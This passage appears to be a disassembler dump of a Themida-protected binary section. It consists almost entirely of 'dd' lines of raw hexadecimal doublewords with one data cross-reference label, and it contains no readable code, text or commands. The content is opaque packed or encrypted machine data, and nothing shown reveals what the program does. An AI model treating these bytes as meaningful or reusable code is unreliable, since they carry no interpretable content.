0B64469BFh dd 0EA1F1D0Eh, 9588F6DDh, 80EFF154h, 0B464C64Dh, 0BCBA1362h dd 7C8D7C05h, 7498F0F0h, 1DE64EA2h, 0C64E5BC3h, 54B18098h dd 0CF838C47h, 1ED3CA5Eh, 0CF836BC0h, 0B3C4B5A2h, 0DB2D601Eh dd 836BA83Ah, 8A7DABCFh, 0A3051844h, 78EC2B90h, 0F9B118CBh dd 0A01Ah, 1ACE6000h, 8940435Ah, 21CBBED1h, 935D0CA9h dd 0AD0C2756h, 0C64E4FFDh, 9398D80Ch, 0ED204074h, 9EEBF13Ah dd 837A6A37h, 803E9CFh, 90193AD5h, 0C778A5F3h, 0A62F5860h dd 0D8BA595Fh, 0EADD2AFEh, 57B27BE3h, 5F146C5h, 5016A680h dd 7963B5C6h, 1CB45D3Dh, 31E7415Ch, 0A0DEF582h, 60F7E25Ch dd 7E643775h, 719h, 0A08DCD00h, 2AF36B5Fh, 0A18AF4DDh dd 0C0ED6966h, 495208BFh, 19B004B3h, 834B3C61h, 17BDCAD3h dd 9F493667h, 91BECEDFh, 8903B234h, 60DAA1CFh, 465707CEh dd 0BEEF8F39h, 5A1ACE34h, 0D4944043h, 7CDBAC7h, 0C80F5C57h dd 514EB7C0h, 0A4CF82ACh, 833E3C93h, 0CEB9CE5Ah, 0E75C5707h dd 0C107C8FCh, 74ABD3F8h, 0FD878610h, 538582ABh, 0A895FC13h dd 0EA56C8CEh, 3E3EAA9Dh, 84118083h, 3824173h, 54C08921h dd 0AA30E632h, 0CB72247Eh, 55E2D14Fh, 751DC763h, 52BA088Dh dd 3CA8D7C4h, 2FB4613Ch, 0C454C0D7h, 4A3D5010h, 23C5D884h dd 988FBDDCh, 0E3D5A4F3h, 7B6D9A83h, 9AFB0EFBh, 54C0D788h dd 6616BCCBh, 784BDD27h, 0D76D6E23h, 248B54C0h, 0B2B226F5h dd 0A92A9EE9h, 0CB120022h, 2952F332h, 9204A07Fh, 595FC87Bh dd 8B70A530h, 1503410Fh, 0E8F03708h, 5FC1369Fh, 4894483Ch dd 0D90041B4h, 8F1A722h, 6CA3DBEFh, 0A8685218h, 0D4BE3C38h dd 160B6ADDh, 4C37D9E3h, 953AB2E1h, 3C810895h, 37Fh, 28FF5E82h dd 45D0B9BFh, 0CF829874h, 42371107h, 0E6DD9935h, 916A39E7h dd 0A9AF7850h, 0FAEC6960h, 594E8945h, 6CBABA2Eh, 0F069EC55h dd 357BE5Bh, 0FED3E415h, 0ABDEB180h, 0A55D3C01h, 0C85C3333h dd 0E0185C22h, 9635A6D1h, 0C7613C38h, 0BA0F2851h, 843FC9C4h dd 75F69CF9h, 0CF1D5094h, 0EAF48EA6h, 0EC699E9Ah, 4E8396FAh dd 3059CF59h, 0A52CAD17h, 0D84EDAB5h, 0C100B4D3h, 8396E244h dd 986B714Eh, 0DED1DA8Fh, 13FBADFBh, 0FD54BB4Fh, 6223BFDAh dd 49000005h, 0B4D3D886h, 324D5E1Eh, 0C7B8E599h, 34535806h dd 24D0DD9Dh, 0E09E3589h, 5202CCBBh, 0E6963E49h, 5E1ECAB5h dd 0B3123F4Dh, 0CF890531h, 0EE15922h, 6BEA1F1Dh, 0CF82ABF6h dd 0FDC00AFDh, 82AB8E98h, 0CD5BCDCFh, 623DEBF6h, 0BB12B325h dd 132455C3h, 9DF2C1A1h, 3C8F0E81h, 399CEDEBh, 0D8B7D724h dd 0F910F92Fh, 4D808A9Ch, 22EECCC6h, 4EC9C6AEh, 0EDB48F99h dd 47462692h, 0BFC8A81Ch, 375606C8h, 0EB5DC74Eh, 2AFEC64Dh dd 0B5D2C57Ch, 8C38CB4Ah, 741BBFECh, 5DF08498h, 24Fh, 801D0EE5h dd 4D810B15h, 4ED850C6h, 17EDC39h, 6215CF89h, 51A6F06Ch dd 37B4F68h, 2D8C4330h, 42E6B9A5h, 0C1DC9A33h, 9BECB167h dd 0AA474634h, 0CF890133h, 0D538F4E0h, 145DFF8Fh, 2CF75319h dd 2B8A03ABh, 68C3917Dh, 3B5E83A6h, 474A7h, 2705B00h, 78E4EE19h dd 0FF7F54B3h, 82FCD12Eh, 0F7676E99h, 4B9F4E26h, 0BAC5D684h dd 44436814h, 0A0DFCC8Ch, 25673434h, 647D93Ch, 7F0CCF89h dd 1F1D0EF7h, 1AD6BEAh, 52C6CF89h, 0DC9C483Bh, 6404B0CFh dd 81474029h, 149DB3Ah, 1E0ACF89h, 40F39588h, 98E18133h dd 33E8F904h, 0CFD96109h, 5CEBC7DFh, 0C196ADFBh, 3E510DC6h dd 0BFDE8049h, 3664B358h, 0AE7D9C5Fh, 71713A3Ah, 0F9BF31C2h dd 17A13h, 1ACE5B00h, 9440435Ah, 2FF8C7D4h, 6CE9E029h dd 0C64D807Ah, 9744FD9h, 82A7378Ch, 0D3CA5ECFh, 82A6C01Eh dd 0E78731CFh, 6412BBA8h, 62B15E29h, 0C847B630h, 0B1D1EF94h dd 40F6F9h, 0FC0B0000h, 1E6AA5D5h, 1D0E8B23h, 0EE6BEA1Fh dd 5CF82B0h, 8795FC13h, 0DBCF82B0h, 0EBF2D9EEh, 0E9A75E5h dd 0F726A998h, 0C6B81126h, 0AD379EC7h, 0AECF82B0h, 85152C7Ah dd 0F9B1C3DEh, 0A907h, 1ACE4F00h, 8940435Ah, 77F29795h dd 2274D512h, 0ACCCF8EBh, 81427671h, 0AFF9144Ah, 496134F9h dd 38C64D9Ch, 0C2BFEC8Ch, 0FC01DB5h, 25B0D94Fh, 0C64D93BBh dd 0EB988A0h, 6BEA1F1Dh, 0CF85451Ah, 0AD9AEF39h, 384F3826h dd 53B5E890h, 0F710F960h, 1672ADCDh, 0C1B9101Bh, 55ABA1BDh dd 4125F87Ch, 311h, 78A5D5F8h, 121B4387h, 79A2DCF5h, 815418Eh dd 81AAD0F7h, 0C1085CFBh, 5B739499h, 0DFF5121Bh, 47718E9Fh dd 0E916F627h, 89077A6Ch dd 8B2D9CFh, 18B607CEh, 0A8E1CA5Ch, 80B23491h, 77A1C64Dh dd 6505AFBCh, 1ACEBA38h, 9440435Ah, 0D18D4235h, 37A96ABEh dd 1CC64D80h, 536D5E0Ch, 4B50230Bh, 28EFD0DDh, 0A96ED720h dd 0BCCF82FAh, 4138316Ch, 82F262C4h, 35E3F4CFh, 187A9A69h dd 0EBEAD94Fh, 0CF8289F7h, 0F5DCEB1Eh, 43FE8A85h, 190251C0h dd 0BA5FE613h, 0C9D8B7AFh, 0D0A44E5Fh, 48CD12B7h, 0C64D80DEh dd 22FDAB7Dh, 2F6EE8E5h, 37043D5h, 897E91D1h, 0F30E1F5Fh dd 51C42569h, 0BD74616Eh, 498229F2h, 0E6768315h, 64707DF8h dd 0FC853C78h, 838A2499h, 0E6B96FCFh, 8345B12Fh, 0AFC8B1CFh dd 6D526119h, 3209B62Eh, 5DD8F9B1h, 1E000000h, 6B13B7D0h dd 52D43134h, 1C64D80h, 5B28117h, 64E11616h, 0CF82B0F7h dd 4F6FEAEh, 586C76DFh, 39EFCF83h, 0E9B735B3h, 6C47379Eh dd 0CD4C7B61h, 22BF4206h, 0E6FC9974h, 7CCF82A7h, 0A6FEE18Bh dd 0BC46B488h, 2930205h, 809FDFF5h, 83FBD124h, 78711EB0h dd 0AB60F9B1h, 0E6000000h, 0FB91ACEh, 42D4306Fh, 0C9B1184Bh dd 0DA4CC9C0h, 79C64D80h, 97158AFh, 0CCBF7216h, 3925AE99h dd 0ABCBFD8Ah, 25456F74h, 855595F8h, 0B024C64Dh, 57C1B90Fh dd 0EF8F3946h, 2424F3B0h, 0B11572D3h, 0D850CF82h, 2523F4D3h dd 5D0A71D4h, 0CF59D8BAh, 5A04CDBAh, 1C3EA82Dh, 0B1DC650h dd 933A4D38h, 0EC5C2EBh, 951A2C50h, 7C9F7560h, 154E6h dd 0E2903B00h, 5804CEB9h, 0DF9F3453h, 621CB1CEh, 0D7874E39h dd 2B7F2EC6h, 9AE5B6A4h, 24634834h, 807FACACh, 5071454h dd 96779DCh, 9FECCF89h, 5707CE17h, 0EF8F3946h, 1D0E34BEh dd 0EE6BEA1Fh, 5CF82B0h, 8795FC13h, 0DBCF82B0h, 2B12574h dd 0D3F9B1C3h, 84h, 5CB9D01Bh, 0C64D80CAh, 97A49F89h, 15524D2Dh dd 28CDC0BEh, 0C64D8588h, 0FA234375h, 849BDB0Dh, 275058BFh dd 82B0E99Eh, 7FAC7CCFh, 285157C0h, 0BA597F9Dh, 3344D4D8h dd 0E0CD8D44h, 4A32289Fh, 7560902Eh, 0B2C2A07Bh, 99000000h dd 24634836h, 827DAEAEh, 0F7081549h, 8483A8D6h, 54200D4Dh dd 0F06E65B9h, 82F2DC2Bh, 0F6666E99h, 8EEEDA25h, 3826F9Dh dd 0CF890B21h, 0CEB14932h, 39465707h, 34BEEF8Fh, 435A1ACEh dd 0A3D49440h, 80B52F96h, 72A6C64Dh, 0FEEDDABFh, 9F09755Dh dd 229EB6Ah, 0DFEACF89h, 89016C76h, 8A39EFCFh, 39AB2A5Fh dd 1ACF8901h, 8285980Eh, 0FA051656h, 26FAECEh, 1851B37Ah dd 83168588h, 0FB0C1151h, 7176A9C9h, 0FEB225Ch, 7A6E3D5Ch dd 0D5FA0DFAh, 1F1276A9h, 0DB9B4D3Ah, 1FB6C1C4h, 0CDE4405Fh dd 0CC1h, 1CD02900h, 2CB44448h, 0F1E5DC93h, 5303CE69h dd 0DD9D473Ch, 4F0FC5C2h, 0BBBB1350h, 32289FE4h, 0B9A1285Bh dd 322CA1E6h, 0BBA3285Bh, 332B9FE4h, 5450805Ch, 40558h dd 0E8830000h, 24048704h, 0E089505Ch, 405h, 42D00h, 4870000h dd 34895C24h, 0E3895324h, 4C381h, 0EB830000h, 241C8704h dd 2414895Ch, 3B818768h, 24348B09h, 5404C483h, 8324148Bh dd 0EC8304C4h, 240C8904h, 8B9h, 89D10100h, 34FF5931h, 0C4835A24h dd 24348B04h, 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h dd 0FFFABA20h, 0DA77B6ADh, 0C8F4509Bh, 0B8A818F5h, 93B8B0Ch dd 0E0FFC503h, 2A6FC813h, 9E259CBh, 47E6C379h, 662A6A2h dd 0A37FC23h, 688B5B99h, 15233A5Eh, 6B1C66F5h, 69D8A65Eh dd 7C2D2AB9h, 4C9213D7h, 0DD35E00h, 73618AB3h dword_5A719C dd 8C588D8Dh, 0BF0F093Bh, 298D89FBh, 81093516h, 541221F0h ; DATA XREF: Themida_:00552894o dd 7D85C758h, 48093528h, 6A00006Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 3F2C355h dd 3511E595h, 5585C709h, 93522h, 1000000h, 3523E1BDh, 45B5FF09h dd 6609350Dh, 0FFF8E3B8h, 350D0595h, 55006A09h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 89394BC2h dd 6A77655Eh, 2995FF00h, 8B093508h, 306AEBC0h, 13681F32h dd 3E9D2075h, 0B142D8E5h, 7E5E2060h, 86951D98h, 5E3B1B99h dd 0D10B49E7h, 532865Ch, 617C9D3Eh, 89DDCAFBh, 0C0F6B71Ah dd 0ACE36A92h, 52199199h, 54CEF342h, 6C27F118h, 5A33EB9Ah dd 7EDB90B0h, 0F7F2AAF3h, 0F0B7C4C7h, 1126971Eh, 0A9DF33DEh dd 0F820EAB8h, 2A027882h, 0A8BE291Ch, 0C2131F23h, 513FDDB8h dd 948D8D7Eh, 6A093B8Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 22CAC356h, 89A66087h dd 3516298Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 7FBB66C4h, 7D85C749h, 0B8093528h dd 89000070h, 35258585h, 85C7F809h, 9352255h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F2C35545h dd 88522FF2h, 6D85E878h, 0E9B589DFh, 0FF093503h, 350D15B5h dd 6E909h, 5FB50000h, 0B4BCD2EDh, 0D0595FFh, 6A0935h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 6A57E5C3h, 2995FF00h, 8B093508h, 694CEBC0h, 19F4A6Bh dd 0B1A017DFh, 31840AF6h, 825CAD21h, 489B32F4h, 30EB0133h dd 0EF95BCE9h, 0E27FE905h, 0D4D36B60h, 2D8A9059h, 993A3745h dd 346AED67h, 1DB4AC10h, 0E20F9619h, 0DF9E0A10h, 72709DEAh dd 9433ED66h, 4B423A86h, 0E8F9BAB9h, 0Fh, 0BD32EE44h, 0ADCFC135h dd 0EB309D2Ah, 0BB1D7251h, 14164FA1h, 3CF38058h, 701CC081h dd 66570000h, 42CADE81h, 33C9335Bh, 3525BD9Dh, 83C8B09h dd 81DF8B66h, 627314F7h, 0E3816602h, 0C781145Dh, 9AC83Dh dd 2C7D8589h, 0EF810935h, 410C35E5h, 0F6816650h, 895A562Eh dd 958B083Ch, 9350D81h, 6F99DE81h, 0E9835749h, 29B52904h dd 81093503h, 0FF908CF9h, 16850FFFh, 8B000000h, 3525D5B5h dd 26E909h, 0DF650000h, 0D83D59ABh, 12A469AAh, 59BD8957h dd 0E9093504h, 0FFFFFF91h, 6F5EB301h, 4EC3A787h, 80261435h dd 1F83157Bh, 6E8h, 9B3AA900h, 8995F2F0h, 35119185h, 0B9665A09h dd 0C281C6D7h, 5B28h, 1E05BD8Bh, 0DB330935h, 6E9h, 0E907DF00h dd 8B0F3969h, 0F5B81A34h, 81107D38h, 7BBA52C6h, 11850312h dd 8109350Dh, 0A39D6EEh, 81E58A46h, 17C13AC6h, 1A348945h dd 7E86060h, 22000000h, 0A5ED581Fh, 665AFF6Dh, 114AC381h dd 0F61F561h, 683h, 0A1BD3100h, 8109350Eh, 307276EBh, 65BD033Ah dd 81093508h, 307272C3h, 0AE83Ah, 0A6D10000h, 0D61E61A9h dd 0E68545Eh, 1F759589h, 815F0935h, 0FFA5ACFBh, 14850FFFh dd 8B000000h, 2BE9CFh, 0F23F0000h, 0D8E4163Ah, 0F897D0ABh dd 0E97D07B3h, 8, 9276575Dh, 70F458B0h, 0FFFF5EE9h, 0CA0C84FFh dd 0BF395B8h, 1299DFE3h, 938D8D7Ah, 6A093B90h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 4AC0C355h, 3FC0F946h, 6830F1Ah, 89000000h, 35276D9Dh dd 56E08109h, 890317F7h, 3516298Dh, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0F6D97EBh dd 488h, 0ECBA6600h, 85C7F96Eh, 935287Dh, 5B04h, 11E9h dd 0E841F700h, 12FAB024h, 0C2E4F05Dh, 0DBC59713h, 85C7B79Dh dd 9352255h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 60C35242h dd 70B66C63h, 0E9C2B70Fh, 0Fh, 0F1680D93h, 5F0ED217h, 4F4CFE4Ch dd 0FF2F9850h, 351239B5h, 53006A09h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0CAAF6311h dd 0BD8B7E59h, 9352F3Dh, 11E9h, 14D4E000h, 0C7166FE7h dd 0B054E63Dh, 91E2D64Ah, 95FFE84Ch, 9350D05h, 2761B52Bh dd 6A0935h, 82995FFh, 0C08B0935h, 0D9F059EBh, 242FB436h dd 3D9DD999h, 258D47F4h, 0C19DD59Bh, 94BC32E7h, 0F4104C39h dd 8D260B08h, 4A53800Eh, 0DE6A8FF7h, 3FBA4F56h, 0CB7D5B54h dd 0BFED3A33h, 1F4BF87Fh, 8F2495CBh, 1D95DA31h, 24036B30h dd 0B58A086Dh, 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0A192C12Eh dd 8DC58E9Ah, 3B91848Dh, 0C7816609h, 8D89A35Ah, 9351629h dd 0FDDDBB66h, 287D85C7h, 628C0935h, 0BA660000h, 85C7E04Ah dd 9352255h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 18C35040h dd 96C1CAA7h, 0B5FF5487h, 9352B11h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0F0C35040h, 8481C01Bh, 8D09F026h dd 935012Dh, 95FF35B0h, 9350D05h, 16E58D89h, 6AF80935h dd 2995FF00h, 8B093508h, 9E5EEBC0h, 25BD2258h, 8A1AAA4Bh dd 9123DA2Fh, 76575DE3h, 0F458B092h, 3AC88370h, 0A32A73B4h dd 0D6022C57h, 0DBA78F6Ah, 6A50D1B7h, 0A77C7BB9h, 8353277Eh dd 0A953B5FDh, 0DB5CF494h, 72AF3B2Ah, 0F0885A1Bh, 1C9E8979h dd 7D3CAA5Dh, 1E87F036h, 865EF87Ch, 0BA75CD5Ch, 2F4D290Dh dd 570A3BA7h, 0D58D8D4Dh, 6A093B92h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 439CC353h dd 8B66AF7Ch, 298D89FAh, 8B093516h, 350B65B5h, 7D85C709h dd 4093528h, 6A00006Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0E43DC351h, 85C71579h dd 9352255h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A0C35141h dd 0DA91C8E0h, 11F5B5FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 5A457EC3h, 0C56F2C92h dd 595FF23h, 6A09350Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 3DB5C353h, 6E8AA1Ch dd 0B000000h, 0D351FAB9h, 0D59D8B5Ah, 5F093512h, 95FF006Ah dd 9350829h, 5CEBC08Bh, 9028676Eh, 773B92E3h, 9BD8B4C9h dd 0A647475Eh, 9E634A77h, 0E8F1D336h, 0C32629B4h, 0C172EDFFh dd 157E25EEh, 0B9188CC8h, 23CCE8B9h, 0CF5C2823h, 49F7B41Eh dd 78E6C7Bh, 0CD47B4AEh, 0B0C0E4BEh, 0B2A24E86h, 0AE80D3D7h dd 78487ADFh, 11D6DB28h, 0E6AFAF2Eh, 0CC923AB6h, 3F3071EDh dd 0BE8h, 77C68300h, 914166Ah, 15F632D1h, 1DED9589h, 315B0935h dd 350CD9BDh, 0C5C38109h, 0F000059h, 68Ch, 69BD0300h, 0BA093504h dd 163Dh, 0FFF1B70Fh, 3FE68133h, 597675CEh, 81C18B66h dd 29BE90E9h, 7585036Ah, 8109351Fh, 94C128C1h, 0C3BF0F39h dd 12A3C181h, 81662451h, 51BC29E8h, 0CE9h, 650C7500h, 1E629A0Dh dd 0C869A611h, 8B038FD0h, 99EB81F9h, 290C51D9h, 352AA98Dh dd 95C38109h, 0E90C51D9h, 12h, 4473EEE7h, 27214A1h, 0D577E76Ch dd 0DC266D1h, 0EA81F7C1h, 1, 1B850Fh, 890F0000h, 6, 32499589h dd 1BE90935h, 0FF000000h, 0E94A85DFh, 0C12607D6h, 0F1BD8B5Ah dd 0E909352Bh, 0FFFFFF63h, 0A0EA385Bh, 14E88E0Ah, 13000000h dd 264B5182h, 0B6FEF64Dh, 0DEEAD682h, 373D1ED6h, 8B307222h dd 351DA59Dh, 0F28B5809h, 62A1C081h, 0FC510000h, 60FF3359h dd 2A75B58Bh, 858B0935h, 935056Dh, 734FF61h, 81DCB960h dd 8B6039DFh, 35296D95h, 6161FC09h, 799D8B5Ah, 81093505h dd 0C9C420C2h, 2D8D8B74h, 81093528h, 88C851F2h, 0FE974h dd 76FD0000h, 0E54E7318h, 0A14268E8h, 0B942106Ah, 0D9F281E3h dd 893D9455h, 35160D95h, 0FCBE5209h, 8F11D15Fh, 8D0B3804h dd 9352451h, 5C1B529h, 0EF810935h, 5141866Bh, 7E860h, 0D80A0000h dd 51C3E0A1h, 58E6B77Ah, 61FA8B66h, 8667C781h, 0B5315141h dd 93505E5h, 9E7CFF81h, 850FFFFFh, 17h, 82F18166h, 4EE9A8h dd 301A0000h, 8DAD982Eh, 7BDAD783h, 0E86C2387h, 12h, 0FF6E19C5h dd 0E7555CAEh, 37E01506h, 0A1F6E66Fh, 0CE9B856h, 0F6000000h dd 0D5E2190h, 25F34F05h, 5B438CE1h, 0FFFF28E9h, 46B000FFh dd 0D441AB27h, 0C09C3287h, 0A35F4BB8h, 55242BBAh, 95F38D8Dh dd 6A093Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0DA462DC3h, 8820F84h, 51000000h, 0AC95DE81h dd 895A23CCh, 3516298Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 19A60174h, 0B54C2C09h dd 7D85C72Ch, 4C093528h, 6A00005Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B0EC353h dd 351F69BDh, 5585C709h, 93522h, 3000000h, 35289585h, 0F9B52309h dd 0FF09351Ch, 352C79B5h, 0D3816609h, 95FFEC7Ch, 9350D05h dd 0D78865B8h, 6AFC02h, 82995FFh, 0C08B0935h, 0FB2D29EBh dd 2EF45E76h, 28379394h, 0BCA79A00h, 6AE093Bh, 0C95546FEh dd 0C1DD127Ah, 6537C27h, 0CB738309h, 0CAA2F699h, 0E8436C7Eh dd 0Ch, 4B3C98E7h, 67209FE3h, 0E45AFFFAh, 12D5B589h, 0B6580935h dd 2EC08167h, 81000066h, 599E26C2h, 6846h, 13E90000h, 54000000h dd 0DFCF2398h, 0D86FE9D5h, 0D0EB614Ch, 5F00D357h, 0FF5B594Eh dd 665F0334h, 8122F1B9h, 8164AAEFh, 81AEB561h, 31E91EC7h dd 0BE927h, 15B30000h, 0B93E092Bh, 0A42F34F7h, 0A9EF81C8h dd 0F848887Ah, 81183C89h, 0D2F88CD6h, 0F08B6601h, 6D2DEB81h dd 0E7B97DDAh, 8178ED58h, 0DA6D29C3h, 45C9807Dh, 9A6CFB81h dd 850FFFFFh, 0FFFFFFA7h, 29C9B58Bh, 0EE80935h, 72000000h dd 47C36ED5h, 0E2C11ED2h, 0F3E0B1C2h, 3D858BE4h, 5B093503h dd 271D9D31h, 0C3810935h, 58ABh, 68E0B4h, 60000000h, 0EE816653h dd 0F58CF47h, 5961D0B7h, 52F28166h, 1934FFC0h, 0CFDBD8Bh dd 0E95E0935h, 5, 0ECB71025h, 0E0F68114h, 814240C5h, 0E94891DAh dd 2CEE814Ah, 234696F5h, 350F4195h, 55EE8109h, 0E9171C68h dd 0Bh, 0C42B1AD5h, 4D2CB8CBh, 5644FE14h, 8B0B048Fh, 35078985h dd 6850F09h, 29000000h, 352FF195h, 4E98309h, 6890Fh, 850B0000h dd 93503B5h, 0A804F981h, 850FFFFFh, 0FFFFFF8Dh, 674EEF81h dd 12E85E72h, 88000000h, 1100851Dh, 0DFD04310h, 731B26Ch dd 61A6991Bh, 8589597Dh, 935269Dh, 6F41C181h, 820F0000h dd 1, 1B9B68FCh, 820F0000h, 1, 0BF0F5AF8h, 0F31FFC1h, 605ED9B7h dd 0FD18D89h, 66560935h, 615FF38Bh, 254FF681h, 81664AADh dd 813570E7h, 6DAF69F6h, 6660600Ch, 3F7EDA81h, 8B616160h dd 350C6195h, 0EE816109h, 0E1303D7h, 77E38166h, 8FF556C6h dd 11E901h, 0B6680000h, 8CA6BA44h, 7195463Eh, 6649C8C8h dd 83F0DACAh, 816604E9h, 4A22A8C8h, 20850Fh, 810F0000h dd 6, 0CD1B531h, 29E90935h, 54000000h, 0B8816C24h, 3EC07292h dd 91388892h, 8529D8AAh, 935300Dh, 0FFFF6CE9h, 7AE338FFh dd 0C6F00F94h, 0CE5DD816h, 75A0BB9Eh, 89A07582h, 78146908h dd 4B8DA6DCh, 86391061h, 8635A12Eh, 13D92590h, 5302548h dd 0B3305C99h, 23F251Bh, 86302581h, 0AF559807h, 89302C77h dd 86305EA5h, 1BB5E390h, 0C839105Fh, 78108B4Ch, 0A234A482h dd 9174939Bh, 8649907Bh, 3BD2C77h, 8F085E51h, 76BBF56Fh dd 91ADA08Eh, 6E7E2C11h, 86302516h, 2E72F249h, 0A274AED4h dd 0F30AE46h, 0DE340165h, 0AF55906Fh, 3BD2C7Dh, 8F085E54h dd 7EBBF5EDh, 863035B0h, 8638CC84h, 89962542h, 86302BA4h dd 4F3B6C90h, 79C0A047h, 8BD9DADBh, 0B302512h, 0B37C2794h dd 86359D8Dh, 65CF2542h, 1E6A98ACh, 0BBD2CABh, 8F0BBC68h dd 0B615379Ch, 47FF0E94h, 89A07582h, 78146908h, 4B8DA6DCh dd 86391061h, 8635A12Eh, 13D92590h, 5302548h, 0E9835C99h dd 0B9A4F305h, 22h, 7E4604EBh, 0AFE94D2Ch, 0F6000007h dd 0BA3E5F44h, 9F613AA7h, 0D0881580h, 9A5E3F58h, 8E851683h dd 85140DFDh, 0CECB6018h, 88150BCDh, 0C8D14D13h, 0F3B1DDD3h dd 12FAA8C9h, 15AB10BDh, 0C45085ADh, 36BE7165h, 362425A8h dd 9CDB571Ch, 3624BC06h, 5F78F41Ch, 3CB21094h, 0B93BB623h dd 0EAE4B937h, 0DCDEB592h, 0CC325DE1h, 1FB24257h, 0EE10BC94h dd 255F6370h, 47BE4883h, 7D23C72Fh, 1502F5CAh, 7E1B16A8h dd 0CB26C876h, 0C4D9C059h, 3CB7203Ch, 0A84B54C8h, 0EF9EB38h dd 0C38C5712h, 0FFBD7ACFh, 0C706ACF1h, 0A392859Bh, 0BDE066DBh dd 0B1458BD0h, 7C0Ah, 2E47C900h, 5DD448ABh, 0D647B53Ch dd 97021BEEh, 2EABC537h, 913DF1C6h, 36416953h, 0BB3B5D1Ch dd 4FFDBA13h, 53AD89h, 0E7D90000h, 0DBC65B4Eh, 4742E115h dd 36A3BB2Eh, 0CDD449BBh, 0A24CA226h, 41FEC14Fh, 0C3EB1C36h dd 5D7CF507h, 0EAD01296h, 0DC1C3641h dd 1B858262h, 8E368C60h, 35926A50h, 0B6385E1Ch, 7803F13Eh dd 0ABA3F8E1h, 41811811h, 0D3A6DA4Bh, 0B8A05459h, 3Ch dd 0AB2E4719h, 856E5B23h, 760A11B5h, 4D71FF7Eh, 591C35F9h dd 418B1975h, 351C35F9h, 0C033AEC3h, 0ED42B23Ch, 0DCFD7407h dd 2352CEF0h, 35F9377Dh, 43AD331Ch, 0B2273CB0h, 0F0E3B83Ch dd 0BC39B2Eh, 34C96D5h, 0A2408C15h, 13013318h, 0B46A8A0Ch dd 0D24DBF32h, 39C307C7h, 9C26BC25h, 0D4130133h, 33B53C5Dh dd 12E70F91h, 118EA21Ch, 0E9F46BE5h, 221C640Ah, 0AE0845D8h dd 0BB0E995Dh, 0FAB5EBE3h, 1E0BCD82h, 1A8B7978h, 43612D2Ah dd 1C358179h, 0F6E37B6Dh, 0ED82FCF8h, 3A35ABF0h, 0EEC4549Fh dd 251C3581h, 5B2F1400h, 1ED5CC61h, 8182489Ah, 70761C35h dd 88150A84h, 842E2013h, 993A0BC6h, 0A6BE2B47h, 0B03EC231h dd 9EEAE421h, 3641BA00h, 0CC28AE1Ch, 5C41925h, 34C68850h dd 0AF569E3Bh, 55h, 0D6842EE0h, 0A9C53B58h, 1513BE30h dd 0E5CF15B9h, 0E11C3641h, 23A937BFh, 171C3641h, 0AD154291h dd 0F2DAB2AFh, 8DA15FBAh, 953CE014h, 0D254AD15h, 0EDE194B3h dd 0FD989709h, 0A6332FD1h, 5E70AF4Eh, 21D5C25Ch, 73EB1582h dd 0F7098B66h, 0AD9D597Ch, 26h, 0C6842EDEh, 0E5CF150Bh dd 1E1C3641h, 0BE153F92h, 26AD2847h, 387DAD15h, 0E1E5A6CCh dd 0FFC37F5Ah, 0CE263FB5h, 2B47BE85h, 61B543AEh, 0DE1C32C3h dd 4EE2957Fh, 69457D51h, 595090BEh, 0EC7449ADh, 1B8D6475h dd 0E85C9702h, 0D9896871h, 45162BCBh, 253CC209h, 5BAA3DB4h dd 27748E69h, 0A4D34A3Dh, 31A7B4FEh, 3D00B01Ch, 0B3137057h dd 33688668h, 2B914F7Bh, 1F1C3151h, 0ECE98779h, 0CB738305h dd 8954E982h, 41E5h, 2B47A600h, 0EB9F43AEh, 36420FB5h dd 11E50B1Ch, 735B3386h, 36AB62Dh, 548A3215h, 1301186Eh dd 0E60D8AA6h, 0B03E6062h, 4451CF41h, 0B8253BADh, 6351D439h dd 32228388h, 0A6BE2B47h, 0B03EC231h, 2B4748EBh, 0EDB843AEh dd 1C0B9935h, 0E0150368h, 0AD4350CEh, 842E3BF0h, 993A0BC6h dd 1EAE2B47h, 0E313849Ch, 70EB153Ch, 13DEFB75h, 10945F91h dd 192407E4h, 885005C4h, 0CECAF6C6h, 5836E711h, 21ED9Ch dd 2E9E0000h, 150BC684h, 3641E5CFh, 14BFE11Ch, 2847BE15h dd 5E7026ADh, 20D4C55Ch, 30D181h, 2E020000h, 150BC684h dd 3641E5CFh, 8AA21E1Ch, 9C62E60Dh, 0F5DC1287h, 2847BE15h dd 416F558Bh, 456B1C36h, 5E7028ABh, 4CE4C55Ch, 0CA4EA54Bh dd 2B47832Ah, 1D9F43AEh, 16216A01h, 5889860h, 0C95608EBh dd 3CF3105Fh, 0C04EA648h, 1C32314Ch, 0FD887CE9h, 2B237861h dd 1A129F91h, 0FCF2767Dh, 2EA812D0h, 0FA9C1C32h, 0F0E980FAh dd 13968F01h, 5B737D18h, 2E4B712Fh, 9B491C32h, 1C322E31h dd 9F418325h, 0FB68D857h, 0F2E77E09h, 0CAF0AEDAh, 0BE1C322Eh dd 4BFFDC18h, 89540D02h, 